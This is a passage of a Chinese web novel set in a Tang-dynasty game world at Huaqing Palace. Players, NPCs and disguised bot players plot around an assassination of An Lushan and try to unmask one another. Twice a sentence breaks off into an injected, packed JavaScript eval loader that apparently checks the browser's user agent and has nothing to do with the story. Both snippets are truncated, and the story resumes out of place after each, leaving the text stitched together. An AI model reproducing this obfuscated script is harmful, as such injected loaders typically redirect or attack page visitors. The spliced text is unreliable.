当是时,天宝盛景犹在,大唐尚无狼烟。 降圣观的看守,早就被内城太监打点过,换了一批惯会偷奸耍滑的人来,这些人性子懒散怠惰,夜里巡守的时候也只是在各个小院的门口转上两圈,祝灵正他们便可以在较为偏僻的院落中休息。 夜色一深,宫城灯光就格外地明显起来,从窗外望出去,骊山脚下华灯连绵璀璨,如银河倒流、星子坠地,盛大辉煌更胜白日,直令明月失色。 祝灵正慢慢地从榻上坐起来,将半开的窗合拢了些。 他本来是快要睡着了的,但隐约听见有个放轻了的脚步声从院内一直往门口靠近,当即睁开眼睛。 那道脚步声来自临时同伴所居住的其他屋子,而且目标极为明确,就是直直地朝他这间房的门口走来,即使是在冬日山间寂静的夜中也显得极轻,显然来人并不想让其他人注意到。 很快,借着月光,祝灵正便看见有道长长的黑影投在了门上。来人似乎在犹豫该不该叩门,在门前站了片刻后选择放弃,又慢慢地离开了,好像是想从屋后绕到窗户这边来。 这个人翻过小院的矮墙,走到后窗户下,一抬头,便看见祝灵正坐在窗边,吓得往后一跳,赶紧伸手捂住自己的嘴,仿佛是怕叫出声来。 月光清晰地照出了他的面容——这竟然是白天那个话很多很能说的丐帮。 “嘘!” 那丐帮被祝灵正吓了一跳,回过神来,单手朝他比了个噤声的动作,低声道,“别让其他人听见。” 祝灵正沉默,心说差点叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好嘞哥。”丐帮一乐,立刻道,“来之前我看过了,这周围没别的人了,那几个看门的NPC睡得都可死了,至于咱们那些同伴,也不知道是NPC还是玩家,不过我看过了,他们住得都挺远的,就算现在还没睡,也听不清咱俩小声说话……” 这人好像是个话痨,说起来没完,祝灵正听得头皮发麻,心里倒也能确定,这丐帮大概确实是个玩家了。 他在第四天里见过人机——就是那个叫唐催寒的田螺老玩家的“队友”们。那些人机表现得十分诡异,好像不近人情似的,彼此之间的对话也不算流畅,跟他们一比,这丐帮显然是个活生生的真人。 他只是走了这一小会儿神,那边丐帮都已经自我介绍完了:“我叫纪湘君,怎么称呼你?” “祝灵正。” “你这名字还挺有衍天的感觉的。”纪湘君一笑,“其实,我就算没在客栈里见过你,也知道你是玩家了。” “嗯。”祝灵正微微点头。 他这个动作却让纪湘君有点沮丧:“你怎么不问我为什么啊?” “我又不傻。”祝灵正说。他再度抬眼看了看头顶一弯明月,这次倒不是为了借机观察周围,只是单纯地想知道,这场对话什么时候才能结束。 纪湘君的意思他也明白,衍天属于出场比较晚的门派,设定上又是隐世宗门,按理说,这种刺杀安禄山的行动,不太可能有衍天宗的弟子参与进来。角色分配是完全随机的,像这样不合逻辑的地方,NPC会无视,但玩家却能很轻易地分辨出来。 也许,这也是浪客行为他们安排的确认同伴的一种方法。 “哎。”纪湘君意义不明地叹了口气,顺着祝灵正的动作,也回头望了望天。冬夜的月光明晃晃的,一周薄而亮的光圈环抱着月亮,散发着银白的光芒。 “月晕啊。月晕而风、础润而雨,明天要刮大风了。”他说,“怎么样,我这丐帮是不是很有文化?” “是。”祝灵正道。这句话倒是真心实意,白天的时候纪湘君发表了那么多慷慨激昂的讲话,听起来很有大唐原住民丐帮侠义当先的味道,他还真没发现这人是个玩家。 “我姐教我的,亲姐。”纪湘君得意一笑,“她和我一个队,现在人就在山底下的瓜果园里当差呢。等咱们去走剧情的时候,说不定还能从她那儿薅上三瓜俩枣的,尝尝古代的帝王吃的瓜是什么味道的。不过,我寻思,这种反季节种植也就跟蔬菜大棚差不多,应该没有咱们现代吃得好吧。要我说,穿过来最受不了的就是上厕所没有卫生纸,我真是用够了那种草纸……” 纪湘君说起来没个完,好在也没有强求唯一的听众与他互动,简直像对着月亮在发表演讲,祝灵正丝毫不怀疑,这个人能讲一晚上不停下。 趁纪湘君注意力不在他身上,祝灵正抬起眼,打量了一下这个丐帮。 他的确很年轻,身上有股蓬勃的朝气,只是脸上还带着一丝细微的紧张。 这种紧张,祝灵正也能体会到。 这就好比蹦极,你知道会有一条绳子连接着你,但真正站到蹦极台边缘看着脚下渺小的世界,总有一瞬间,恐惧会盖过激动与兴奋。 即使知道剧情杀并不是真正的死去,但像他们这样的玩家,一路跌跌撞撞走到第五天,忽然就要直面死亡了,说不紧张,那是完全不可能的。 “你在害怕么?”想到这里,祝灵正便问道。 还在滔滔不绝的纪湘君突然一噎,回头看他:“……你这人……好不会说话啊。” 祝灵正别开视线,无视了这句话。 他不说话,纪湘君又憋不住,吭哧了半天,最终还是老实承认:“你也看出来了,我就是很害怕啊,死是一回事,疼又是一回事。你打过大战没?那安禄山的技能拍我一下,我不得全身粉碎性骨折嘛。这搁谁能不怕啊,你不怕吗?” 祝灵正不说话,纪湘君这会儿也不急着往下说了,就趴在窗框上,等他的答案。 “怕的。” 祝灵正低声道。 死亡与疼痛,其实对于他来说,都是次要的,他更怕的是死亡带来的后果。人世间、身后事,他还有队友,还有属于自己的现实,人有了牵挂,必然就会害怕了。 由爱故生忧,由爱故生怖。 不知为何,这么大方承认的时候,他却感觉到很轻松,从白天起就压在心头的沉甸甸的感觉,似乎散去了一些。 “我有一个好办法。”纪湘君眼睛亮亮的,跟他说,“我们还是想办法把安禄山鲨了吧!大战里打不过是剧情杀,我就不信,现在我们这么强壮,还干不过他!” ——可是,就算安禄山倒了,他们作为“刺客”,估计也没法从华清宫里全身而退。纪湘君看着挺聪明的,未必就没想到这一点,但他还是一脸期待地这么说了出来。 祝灵正难得轻轻笑了笑,点了点头。 “好啊。” 明月西沉,纪湘君如同来时一般,蹑手蹑脚溜回他住的那间厢房去了。和他道别后,祝灵正本以为自己会睡不着,但也许是放下了些心事,这一觉竟然睡得格外深沉,甚至大概是因为熬了夜的原因,直接睡到了日上三竿,还是那个唐门敲门的声音才将他惊醒。 “醒了么?” 大概率是NPC的唐门看到他开门,道:“来讨论一下计划吧。” 祝灵正跟在他身后,穿过两道门,到了正院之中。 今日如纪湘君所说,果然是大风天气,院中一棵柏树被吹得左摇右晃,树下有张石桌,已经坐了两个人,正是那来自五毒和霸刀的两个姑娘。 “坐吧。”唐门对祝灵正道,看那架势,人还没到齐,他就要开始布置了,祝灵正扫视一圈,并没有看见纪湘君,心里就是突地一跳,有种不好的预感油然而生。 “人都到齐了,你在找谁呢?”那五毒姑娘一直饶有兴趣地打量着祝灵正,意味深长道,“是不是纪……” 她满心期待地看着那个衍天宗转过头,却是一张面无表情的脸,垂着眼,反问道:“纪什么?” “记错啦。”那五毒捧着脸,笑吟吟道,“唐门小哥,咱们的第五个同伴什么时候来呀?” “按老太太传书,第五人应该是个丐帮,不知为何迟迟未见……也许是来骊山的路上耽搁了,或干脆临阵脱逃。”唐门眉头紧皱,“算了,兹事体大,应当还有其他义士在附近,我令机关鸟传信,再重新邀人吧。” 咔的一声,一截枯枝被凛冽山风吹折,掉在了石桌上,五毒随手将它掸走,纤纤五指上的蔻丹红得刺眼,一只小蜘蛛趁机从她的袖口冒了出来,窸窸窣窣爬到了桌上。 “你的蜘蛛跑出来了。”那霸刀姑娘看到了,轻声道,“收好它,阿攸。” 34. 第五天·华清宫(三十四) “咚!” 卫山河循声看去,一只方柄湘竹提篮滚落在地,里面的香梨骨碌碌滚得到处都是。 有只香梨滚到了他脚边,卫山河将它捡起来。 现在是冬季,瓜果园依着骊山温泉才能产出新鲜的水果来,但是这样的香梨果皮很薄,十分娇贵,很容易就磕碰坏了。他手上的这只,果皮已经烂了,汁水渗出来,散发着一股淡淡的清甜。 那打翻了提篮的宫人是个年轻姑娘,此时正一边道歉一边蹲下身去,扶正篮子,把满地的香梨收拾进去,但其实梨园宴上的水果都要经过严格甄选,像这样有点碰坏的梨,是没法端上桌的。 “再拿个筐子来,这些就不用装了。” 做了这两天温汤监,他也有点熟悉“官场”套路了,便出声阻止道,“这些没法用了,就不用往尚食局送了,拿下去大家分了吧。” 听到他这么说,那些担心被连带责罚的宫人都松了口气,那打翻了篮子的姑娘也低声应了句好,低着头,慢慢收拾起来。 看宫人们的反应,这样处理显然是没有问题的,卫山河默默地松了口气。 当好这个小芝麻官也不容易。 园里还有一批瓜果要等他拣选,梨园宴在即,他这里是最忙的,别说什么找鬼了,连喘息的机会都没有,他将手里的梨随手递给身边人,就要离开。 就在这个瞬间,他无意中回头看了一眼,发现那个打翻提篮的姑娘还在机械地重复着收拾香梨的动作,似乎有眼泪正砸在香梨上,碎成无数飞溅的水滴。 这……不至于吧。 他还没看清楚,那姑娘便急匆匆地兜着那些香梨站起来,将坏了的梨交给同伴,自己擦了擦眼睛,往瓜园另一侧去了,看样子,是要继续去忙采摘。 她走得飞快,显然是不想让同伴追上来,一会儿就从卫山河的视线中消失了。看周围宫人虽然也表情错愕,但是却十分有默契地选择继续干活,卫山河也只默默地别过了眼,在心中叹了口气。 他没看到的是,这姑娘一路走得飞快,径直穿过整个瓜园,一直到隐隐约约能看到望京门的轮廓时,才停下了脚步。 她的眼眶还是红的,深吸一口气,别过头,用手背把顺着脸颊滚落下来的泪水擦了。之前一直紧咬着嘴唇,她的下唇此时已经渗出了斑斑血迹,但却似乎像感觉不到疼一样,只是不停地深呼吸,试图平复自己的情绪。 片刻后,一道急促的脚步声响起,有个金吾卫打扮的年轻人拨开瓜架上垂下来的丝绦,急匆匆地走了过来。 他焦急道:“空山!怎么回事?湘君的隼突然消失了!” “你也发现了……” 纪空山抬起头,绾得极整齐的黑发垂落下两缕在眼前。她的眼中还泛着薄薄的一层泪,但眼神已经变得锐利起来,一字一顿道:“我弟弟,不见了。” “……” 那年轻人咬了一下牙,陷入了沉默。 “我的锁,坏了。”纪空山继续道,语气出奇地冷静,连一丝颤抖都没有,一翻手,手心里便多了一只朽坏的银色长命锁。 在游戏里,这只长命锁是一个灰色物品,鼠标移上去,就可以看到黄字介绍。 它的介绍是这样说的: “铜片包银浆,薄薄的一片上面刻着福寿康健四个小字。” 这只长命锁,是她在赵云睿那里换的,和弟弟一人一只。虽然看着不起眼,但这却是非常昂贵的联动道具,只要贴身带着,就能了解到对方的情况,为此,他们两人甚至放弃了几个重要的技能。 而如今,她手中这只长命锁上,竟然凭空出现了极为诡异的锈迹,福寿康健四个字被完全模糊,形状犹如扭曲的鬼脸。 “有人机!”纪空山恨恨地说,一双眼睛眸光狠厉,令人心惊,“他们那个打大战的队伍里有人机玩家!” 那年轻人的眼眶也是红的,颤声道:“空山,空山,我们先去找其他人,你冷静一下。” 纪空山缓缓地看了他一眼,目光下移,落在手中的长命锁上。许久,她轻声开口,像是自言自语,又像是质问:“我弟弟呢?” 听到这句话,那年轻人骂了一声,眼泪也从眼眶中涌了出来,被他狼狈地擦去。 “那个队伍……”纪空山喃喃道,“湘君传来的信上说,除了一个衍天和他一样是玩家,剩下的唐门、霸刀和五毒,都分辨不出来。你说,他们中有几个人是人机?” 她也不需要年轻人回答她,径直道:“就算他们都是人机好了。就算有NPC又怎么样?” 最后这半句话,纪空山几乎是从牙缝里挤出来的,殷红的鲜血顺着她的唇角一滴一滴地流下来,在衣襟上一层层晕开。 “梨园宴,我就守在宫门前面。那些人机……一个都别想活着进来!” 冬日的寒风呼啸着涌入宫门,卷起散落一地的桃花残瓣。 “哎呀,外面还是有点冷的,快回去。” 那个叫阿攸的五毒姑娘语调亲昵地呼唤着那只小蜘蛛,涂着鲜红蔻丹的指甲轻轻叩了叩自己的袖口。 那蜘蛛仿佛很有灵性的样子,阿攸声音刚落,它便迈动八只长腿,窸窸窣窣地顺着阿攸的指尖一路沿她的手爬进了袖口之中。 唐门刚刚放走机关鸟,转过身来,也看见了这一幕。阿攸笑嘻嘻地对他道:“有趣不?你别看这蜘蛛个头小,其实厉害得很呢。” 这个唐门显然是NPC,一心想着刺虎行动,对阿攸的蜘蛛并不感兴趣,闻言也只是略略点了点头,便从怀中掏出一副华清宫的地形图铺在桌上,开始研究了起来。 虽然他一副并不关心的样子,阿攸却并不在意,反而就十指交叉托住下巴,手腕上银镯子互相碰撞一阵叮当作响,自顾自地继续道:“最有意思的,是我们可以共享听力和视野哦,所以它可是探索情报的一把好手。” 听到阿攸这么说,霸刀也轻轻地笑起来。 ——如果猜得不错,这个霸刀,大概就叫做柳秋瑟。 祝灵正面无表情地看着她们说笑,心里想的却是进入第五天之前,那张被人塞进门缝的小纸条,上面写着,“桃源花毒明霸刀队兰瑾阿攸伏明柳秋瑟云流岚不是玩家”。 她们的确是人机! 但这两个人机的状态,竟然出奇的自然,无论是神态、动作、表情、语气,都和真人别无二致,这和祝灵正在第四天所见到的唐催寒的人机队友差别太大了,如果不是那张纸条,他肯定不会怀疑到她们身上。 “……而且呀,我这只小蜘蛛,有个怪毛病。”阿攸轻快地说,也不管有没有人在听,“一到晚上,它就喜欢四处乱跑,搞得我时不时就会听见些奇怪的动静,真是让人苦恼。” 她面露期待地看着这个衍天宗的反应,可惜,令人失望的是,那个衍天好像根本没有听到一样,站在那里,像是走神,又像是发呆,只是很安静地看着地上被冷风推着打转儿的落叶。 难道昨晚和丐帮对话的不是衍天?唐门才是玩家? 阿攸皱起眉,有些不开心地拨弄了一下手腕上的银镯子,目光在唐门和衍天的脸上来回打转。无论怎么说,她昨晚确实听到了丐帮在和什么人对话,这两人之中肯定有一个是玩家的,只是万一将NPC错当成玩家攻击的话,就会立刻被淘汰。 她摇摇头,撇了撇嘴。 不想被淘汰。 再试探一下吧。 “这道观,看着挺像那么回事儿的,实际上也是金玉其外、败絮其中,昨晚我和秋瑟起夜的时候,还在院外撞见了一只小耗子。”阿攸看了一眼祝灵正,“那小耗子窜得可真快,要不是秋瑟,差点就让它跑掉了呢。秋瑟,你说是不是?” 柳秋瑟浅浅地笑了笑,顺着阿攸的话道:“没事,反正最后不是也解决掉了嘛。” 她取下背后的刀,放在腿上,意有所指地轻轻抚摸了一下。 然而,另外两个人,一个在研究地图,一个似乎是在数落叶,并没有人接话。 阿攸挑挑眉:“哎,你们俩,怎么一点反应都没有,像个木头人一样。” 唐门闻言,抬起眼淡淡道:“我觉得,我们还是不要过多地熟悉了。刺杀安禄山十死无生。若有人能活着离开华清宫,那便丢下他人、自行离去,要是有了多余的感情,依依不舍做小儿女姿态,反而会坏了大事。” 咔哒之声从半空传来,那只机械鸟飞了回来,唐门便顺势站起来,接了鸟,拆下信件。 “好了,我们的第五个队友是位少林俗家弟子,晚些时候,会上山与我们汇合。”他看完信,便道,“等他来了,我们再商讨大事吧。” “好的,辛苦你了。”柳秋瑟温声道,在阿攸的头上轻轻一拍,“走了,回房休息吧。” 阿攸上下打量祝灵正几眼,露出一个俏皮的笑,跟着柳秋瑟转身就走。转眼间,这方小院,就只剩下祝灵正一个人。 他慢慢地走到石桌边坐下,抬头看了看那不剩几根枝叶的树,做了几次深呼吸,随后伸手到颈后,从层层叠叠的衣领中,抓出一只小蜘蛛来。 那只小蜘蛛被他夹在指间,不住挣动,八只腿在空中胡乱挥舞着。祝灵正面无表情地看着它,手指越收越紧,眼看着就要将它捏死在手中时,他却松开了手,动作轻柔地将小蜘蛛送到了地上。 他道:“小心,别跑丢了。” “哎呀!” 房间中,阿攸气得砸了一下桌面,“被他发现了!” “本来以为他会捏死蜘蛛的,这么一来,还是看不出到底谁是玩家。”柳秋瑟站在窗边,想了想,道,“不能伤害NPC这条规则对我们的限制太大了,不能冒险。” “没事,大不了进宫之后找兰瑾帮咱们分析。”阿攸锤了下桌子,现在又平静下来,笑嘻嘻道,“兰瑾最聪明了!” 提到兰瑾,柳秋瑟也微微一笑。她伸手推开窗户,接过爬进来的小蜘蛛,递给阿攸。 视觉共享随着蜘蛛的回归结束,她们自然也没看见,祝灵正送走蜘蛛后便垂下了手。 衍天宗宽大的校服袖子垂下来后,他才缓缓松开了攥紧的拳,掌心中血痕斑斑。 “今天风可真大啊。” 永宁公主倚在美人靠上,看着天空。 从她的庄子望出去便是郁郁葱葱的西绣岭,偶有飞鸟盘旋,即使冬日寒风呼啸、日光惨淡,倒也别有一番意趣。温汤监送来了新鲜瓜果,下人一早就洗好切好,盛在小盏里,给她摆在手边,永宁公主随手捡了块瓜放进嘴中,拿帕子擦了手,轻轻叹了口气。 风景看起来虽美,却是因为这座庄子在偏僻之处,而挨着华清宫的庄子则属于虢国夫人,也就是杨贵妃的三姐,当前最得势的女眷,她出入宫中,公主以下之人见了,皆须行正礼问候。此刻,风向稍变,将一阵阵混着甜腻脂粉味道的香风从虢国夫人的庄子吹了过来,依稀能够听见那里齐奏的乐声。 这声音听了,就让永宁公主有些心烦。 她其实也不算年轻了,出嫁后更是极少入宫,这次随玄宗前来游幸,已经是非常难得的机会了。明明她才是玄宗亲女,但论起荣宠,却根本无法与虢国夫人相提并论,甚至还得礼让三分。 偏偏这个时候,还有虢国夫人庄上的侍女带着一篮子糕点过来拜访。 “公主,这是虢国夫人庄上新做的透花糍和灵沙臛,送了些过来,说是请您甜甜口。” 那些点心装在笼屉里,造型精致宛如初绽桃花,散发着清甜的香味,永宁公主却毫无胃口。她淡淡一笑,道了谢,亲手接过了笼屉,又让他人拿了点回礼送过去。 礼数虽然做得周到,但一想到明晚的梨园宴上,八成又要坐在虢国夫人下首,永宁公主就一阵烦闷。待送点心的人走了,她便轻轻敲了敲木榻:“叫九溪过来。” 叶九溪是公主府上的家令,从她出嫁立府起便跟在她身边,办事极为漂亮,人也会说话,近几日烦闷时,永宁公主便喜欢跟他聊聊天。说来也奇怪,叶九溪做公主邑司令也有段时间了,但永宁公主却对这号人物一直印象不深,偏偏也就是这两天才看他格外顺眼了起来。 下人来叫的时候,叶九溪正在府库外面长毛。 公主的庄子太过平和,远离华清宫,几乎一点儿戏份也没有,只偶尔雕兄或者小鹦鹉过来传个信,让他不至于完全与华清宫中的队友们脱节。除此之外,叶九溪什么也干不了,只能老老实实当个田宅管家,还要尽量表现得好一点,让永宁公主赴宴时能把他捎带上。 算一算,现在差不多也该是商议梨园宴的时间了。恰好永宁公主差人来叫,叶九溪心中便是微微一动,知道这下有戏,差不多能进主线了。 他快步跟着下人走到公主赏景的凉亭,就见她正手持金匙,有一搭没一搭地搅动着碗中的热羹,眉目不虞,似乎有层郁气笼罩着,旁边摆成小山似的瓜果糕点半点没动,显然心情并不算美妙。 “明晚赴宴的礼品,都收拾好了么?” “嗯,都整理出来了,礼单我也带在身上。”叶九溪准备十分充分,当即取出礼单道,“请公主过目。” ——在商业头脑这方面,他还真没输过谁。 永宁公主接过礼单,慢慢看起来。这份礼单,叶九溪是用了心的,无论是礼数还是面子都给足了,又不至于让公主府上太亏损,她看着看着,眉目便舒展起来,显然是比较满意,只是轻轻用指甲敲了敲末尾的一行。 “这匹乌蹄抱月,品相虽然一般,但好歹也算是良驹,就送给一个文官,未免可惜。”她笑道,“九溪,做事还是要仔细着点。” “是我疏忽。”叶九溪点头道,心说可惜,本来还想着走后门给李千驰换匹新马。 不过没关系,还有不少好东西借礼单能分送给其他同伴,比如送给“御史中丞”陆厌的猫眼石,想来应该也能在赵云睿那里换点儿玉签。 “这个苍云边将就算了。”永宁公主又道,“梨园宴要请安大人来的……你不知道也是正常,总之,将她划去吧。” 叶九溪又点头称是,没想到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他神色一凛,手已经放在身后,就准备从小队背包里取出双剑了,紧接着,那拐角后面缓缓走出一个公主府侍女打扮的姑娘来,却是面生得很。 这姑娘看起来面色苍白,很是虚弱的样子,但她的双手却各握着一柄链刃。 ——凌雪阁。 是玩家,还是人机? 那姑娘一击不中,面露惊讶之色,秀眉一蹙,反而先低头看了看自己的手。 “……” 叶九溪剑都抽到一半了,有点无语。 “崩坏了人设但没被淘汰……你不是NPC。”她低低地咳了两声,道,“人机应该会直接攻击我,所以你也是玩家?” “这话应该我问你。”叶九溪依然保持警惕,冷冷道,“见面就攻击我,你反而更像人机。” 那姑娘倒是干脆,反手便将链刃收了起来,摊开双手示意:“我以为你是NPC,刚刚听到你和永宁公主的对话,本来想一击杀了你,好代替你前去华清宫的。” 这回答倒是有几分说服力,叶九溪还要再问,却听见不远处有人说笑着走近,便道:“这里不是说话的地方,跟我去库房……你走前面。” 那凌雪姑娘也是个利落的性子,闻言二话不说便走在了前面,显然是判定叶九溪不可能是人机了。叶九溪跟在她身后,仔细观察她走路的样子,的确和原住民有些微差异,但也不能确定她一定就是玩家。 如果这姑娘是玩家,要说他心中没有一点震撼,那是完全不可能的。 这第五天里,竟然还有一支陌生的队伍? 他们一直走到库房后面,才停下脚步。这地方基本上除了叶九溪没人会来,僻静得很,隔着一道高墙,只能隐约听见随风传来的、虢国夫人庄上的琴声。 那个凌雪姑娘还没说话,先低低地咳了两声,叶九溪瞥见她口鼻边都有被擦拭过的淡淡血迹,但现在再看起来,她的脸色已经不像之前那样苍白了。 “这是规则惩罚,过会儿就好了。”那姑娘注意到叶九溪的视线,便道,“我来之前违反了规则,差点被抹杀,不过好在那些NPC没看清我是谁。” 生死边缘走过一遭的事,被她说得轻描淡写。叶九溪多看了她几眼,的确也没发现什么明显的外伤。 “现在还不能相信我是玩家么?”那凌雪姑娘说,“如果我和你之间有一个人是人机的话,在独处的情况下,应该已经打起来了。” “不好意思,如果你只有这几句话作为证据的话,我还是很难相信你。”叶九溪道。 凌雪姑娘露出了然的神色:“这么说,你们队估计是还没遇上过真正的人机。” 她说得确实不错,事实上,在前四天中,“蓬莱哪里得罪你们了为什么要被分到这一”队根本就没怎么接触过人机玩家,对人机最多的了解,也只是在调查兰瑾那支队伍时从孟秋那里探得的只言片语,知道他们的诞生就是为了促成队伍之间的对立而已。 “我听NPC叫你九溪,你应该是个藏剑吧。”那姑娘也是个利落的性格,直接道,“你可以叫我飞琼,我们队叫‘让你排吃鸡结果你排了个啥’,队里除了我,还有七秀、无方、花间……” 她微微别开眼,停顿了一下,才继续说:“还有丐帮。进入第五天的那天早上,你们在客栈应该收到过一张纸条,虽然不知道是谁放的,但是上面点明了有一队人机玩家的存在,我可以告诉你,这队人机玩家,也在这个地图。” 虽然在进入第五天之前,叶九溪和队友们已经做过了心理准备,但听到这个叫飞琼的姑娘这么说出来的时候,心里还是猝不及防地空了一拍。 已经过去了很久,但他依然记得第二天,眼睁睁看着太阳一点一点西沉,流萤从河谷的深处慢慢地飘了出来,路的另一端却始终没有浮现出任何身影,那时候浑身满是血和泥沙的他们所怀着的,随着落日渐渐沉寂下去的、绝望的心情。 “你……”他张开嘴,发现自己的声音无比干涩,匆匆清了清嗓子才问道,“你是怎么知道的?” 他应该是有点失态了,但飞琼并没有注意到。 “她们害死了我的队友。”这个凌雪阁眼露恨意,咬着牙道,“那支人机队伍的五毒和霸刀,是90大战本剧情里,前来刺杀安禄山的玩家。” 据飞琼所说,她之前的身份是虢国府上的下人,根本没有接触主线的机会,所以她找了个机会,假装自己不堪重负、私逃出府。在这个过程中,她差点因为崩坏人设被抹杀,还好有十方玄机这个技能缓冲了一下,让虢国府的侍卫没能认出她来,这才成功地潜入隔壁的公主庄子,伪装成了一个普通侍女。 “我们一直通过队友的隼保持联络,隼一消失,大家就知道不对了。”飞琼说,“直到刚刚……阿乐过来找我……” 她抿了一下唇,又闭上酸胀的眼睛,轻轻呼了口气。 “请你帮帮我。我一定要在梨园宴那天,进入华清宫。” 35. 第五天·华清宫(三十五) 龙池乐跟随着两个女官穿过道道月门,一直走入了中区。 若将玄宗办公的前后二殿称为前朝,那么这里连绵的宫殿与馆阁,即可视为“后宫”,其中便坐落着属于六局二十四司的办公之址。 所谓六局二十四司,又叫做“六尚二十四司”,是自隋制延续下来的后宫女官体系,设六尚局掌宫掖之政,分别为尚官、尚仪、尚服、尚功、尚食、尚寝,而龙池乐分配到的角色,就是尚服局的宫女。 就在刚刚,有两名尚官局的女官却突然找到她,说是宫正要见她;而这两名女官将她带入宫正所住的宫殿,便掩门离开了,留下龙池乐一人等候。 这几天,她也略微了解了一些六尚局的官制,知道宫正属于六尚之首,手握后宫中宫人的生杀赏罚大权,可谓是后宫之中除了妃嫔以外,最不能得罪的人之一了。 龙池乐并没有见过这个所谓的宫正,不知道她为何点名要见自己这么一个普通宫女。思来想去,她也只能想到大概是之前心急了些,打探的动作太大,被尚宫局的人注意到了。 不过还好,既然是被宫正召见,最多应该只不过是训话受罚,起码不会因为违背人设被直接抹杀掉。如果实在没有转圜的余地了,干脆一不做二不休,把宫正杀了,让飞琼进来装成宫正,反正她有十方玄机,变身时间虽然短暂,但假借风寒之名骗骗宫人,应该也是够了的。 龙池乐这样想着,抬起眼,开始打量这间小殿。宫正的居所和普通宫人都不一样,装潢虽然简洁,但处处都是上了心的,帷幔重重,博山炉里点着昂贵的沉香,窗棂边堆满了各局送过来的奏报折子。 她还在看着,忽然就听见一阵扑棱棱的声音,有只鹦鹉不知从哪儿钻了出来,径直朝她飞来。 鹦鹉?宫正养的宠物么? 龙池乐下意识抬起手,让那只鹦鹉落在她的手指上。这是只看起来营养十分不错的鹦鹉,沉甸甸一小坨,羽毛色泽非常鲜艳,最奇特的是,它身上还系了个白色的小披风。 这造型十分眼熟,似乎在哪里见过,龙池乐皱起眉头细细回想,忽然一愣。 这不是刀宗的门派跟宠鹦鹉吗?叫什么……九州百人语? 她的手只是因为愣神而轻轻一颤,鹦鹉立刻扑扇着翅膀朝帘幔后面飞去了,龙池乐这才注意到,不知何时,那层层轻纱后面,多了一个人影,想必正是那位女官之首的宫正。 “名字。” 宫正的声音从帘幔后传来,腔调十分奇怪,有些阴阳怪气。 “龙池乐。” 她答道,看见帘幔后的宫正动作优雅地端起手边的茶盏,呷了一口。 茶盏放下,与桌面相碰,发出清脆的一声响来。宫正用那奇怪的腔调不紧不慢道:“听说,你在找一个叫王三金的人?” ——果然是这件事。 王三金,就是游戏剧情中会帮助玩家们穿上舞女的衣服混入华清宫刺杀安禄山的NPC,而在这里,他是梨园的管事之一。 龙池乐早有预料,当即回答道:“午后清点舞服,少了几套,所以想着问问王管事。” 这个答案并不能让宫正信服,她轻哼一声,道:“这是你该管的事么?” 听宫正这么说,龙池乐心头就是一紧。她看着那只落在帘幔上梳理羽毛的刀宗鹦鹉,心里逐渐生出一种古怪的感觉来,最后猛地一惊。 她都差点忘记了……那一支人机队伍里,就有一个刀宗! 她没说话,那宫正也不再言语,只是缓缓地起身,从帘幔后面一步步走出来,身形被冷清的日光投在帘幔上,裙摆摇曳,拉出一条长长的阴影来,显得格外高大而危险。 龙池乐微微后退一步,咬紧牙关,右手背到身后,已经准备从小队背包里抽出双剑。她甚至能听到自己的心跳声,紧张中又带有一丝快意——仇家自己送上门来,那可真是太好了! 宫正停在了最后一层帷幔之前,她的手已经抬了起来,指间夹着轻纱的一角,似乎随时准备揭开。透过那轻纱才看得出来,她的身形是真的高大,背着光,很有压迫感。 “不绕关子了。”宫正用那种很特殊的、微微沙哑的奇怪腔调道,“你是玩家吧。” 龙池乐目光一凝,手已经握住了剑柄,正要抽出双剑时,那鹦鹉的动作却更快一步——它咬住了宫正手中的轻纱,歪头用力一扯,直接把整张帷幔扯落在地。 龙池乐眼前一黑。 “你干什么!”宫正不满道,声音一时没控制住,暴露出了原本的年轻男子声线。 “她”一把捡起掉落在地的帷幔,教训鹦鹉:“我好不容易营造出来的出场氛围都被你毁了!” 鹦鹉极其人性化地翻了个白眼。 离开了帘幔的遮掩,这位后宫的女官之首终于露面,只见“她”穿着一袭华丽宫裙,却是一个如假包换的青年,高挑健壮的身材将那条可怜的宫裙撑得满满的,绷出来的线条让人有些无法直视,只是看了一眼,龙池乐握剑的手都微微颤抖起来。 “那个,自我介绍一下。”宫正说,也不装了,伸手优雅地一撩额发,“我叫谢不若,也是个玩家……你拿剑干嘛?” 一通兵荒马乱的解释之后,两个人总算互通了身份。 据谢不若说,他这个身份天天就是坐办公室,好不容易发现有人做出了类似玩家的行为,赶紧叫过来认个亲,不然就要长蘑菇了。 龙池乐看了眼他的打扮,赶紧挪开眼睛,心说坐办公室也挺好的。 “还是太鲁莽了,如果我是人机,你这么做就蛮危险的。”她说,“人机和你独处,她一定会杀了你。” 谢不若完全没在怕的:“我插旗还没输过谁呢。” 龙池乐沉默了一会:“……如果是两个人机呢?” “那我就喊救命。”谢不若理直气壮,“人机有本事就连NPC一起砍了。” ……的确是个办法,龙池乐叹了口气。 “说来也真是奇怪,这个地图竟然塞了这么多支队伍。”谢不若说,“我本来以为有四支队伍已经是极限了,没想到还有你们队和一支人机队。” “不奇怪。”龙池乐说,那只鹦鹉似乎是感觉到了她低落的心情,跳到她的膝盖上来,用黑豆豆一样的小眼睛盯着她看。 她摸了摸鹦鹉,说:“五队,本来就是游戏设定的一个完整团队的数量,现在在这第五天里的队伍,其实不是多了,而是少了。按理说,起码应该有十支玩家队伍在这里。” 谢不若吃了一惊,脸上敷的粉都往下掉了一点:“你怎么确定的?” “你们在客栈里的时候,会不会很奇怪?”龙池乐轻声说,“明明都在一个大堂,却只能看到一部分玩家,有时候,即使看到了陌生玩家,或许也很快就会忘记他们的脸,最后只能记住一两个眼熟的人。 “这是因为,在游戏伊始,浪客行就已经在无形中为我们分好了团队。” “……?” 主人和鹦鹉都是有听没有懂,两脸懵逼地看着她。 